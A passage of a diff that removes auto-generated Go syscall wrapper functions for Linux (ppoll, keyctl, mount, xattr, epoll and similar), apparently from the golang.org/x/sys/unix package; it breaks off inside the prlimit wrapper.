--func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_PPOLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Readlinkat(dirfd int, path string, buf []byte) (n int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(buf) > 0 {
-- _p1 = unsafe.Pointer(&buf[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_READLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unlinkat(dirfd int, path string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimes(path string, times *[2]Timeval) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func utimensat(dirfd int, path string, times *[2]Timespec, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_UTIMENSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func futimesat(dirfd int, path *byte, times *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMESAT, uintptr(dirfd), uintptr(unsafe.Pointer(path)), uintptr(unsafe.Pointer(times)))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getcwd(buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlInt(cmd int, arg2 int, arg3 int, arg4 int, arg5 int) (ret int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func KeyctlBuffer(cmd int, arg2 int, buf []byte, arg5 int) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(buf)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlJoin(cmd int, arg2 string) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg2)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlSearch(cmd int, arg2 int, arg3 string, arg4 string, arg5 int) (ret int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg3)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(arg4)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(arg5), 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlIOV(cmd int, arg2 int, payload []Iovec, arg5 int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(payload) > 0 {
-- _p0 = unsafe.Pointer(&payload[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(arg2), uintptr(_p0), uintptr(len(payload)), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func keyctlDH(cmd int, arg2 *KeyctlDHParams, buf []byte) (ret int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
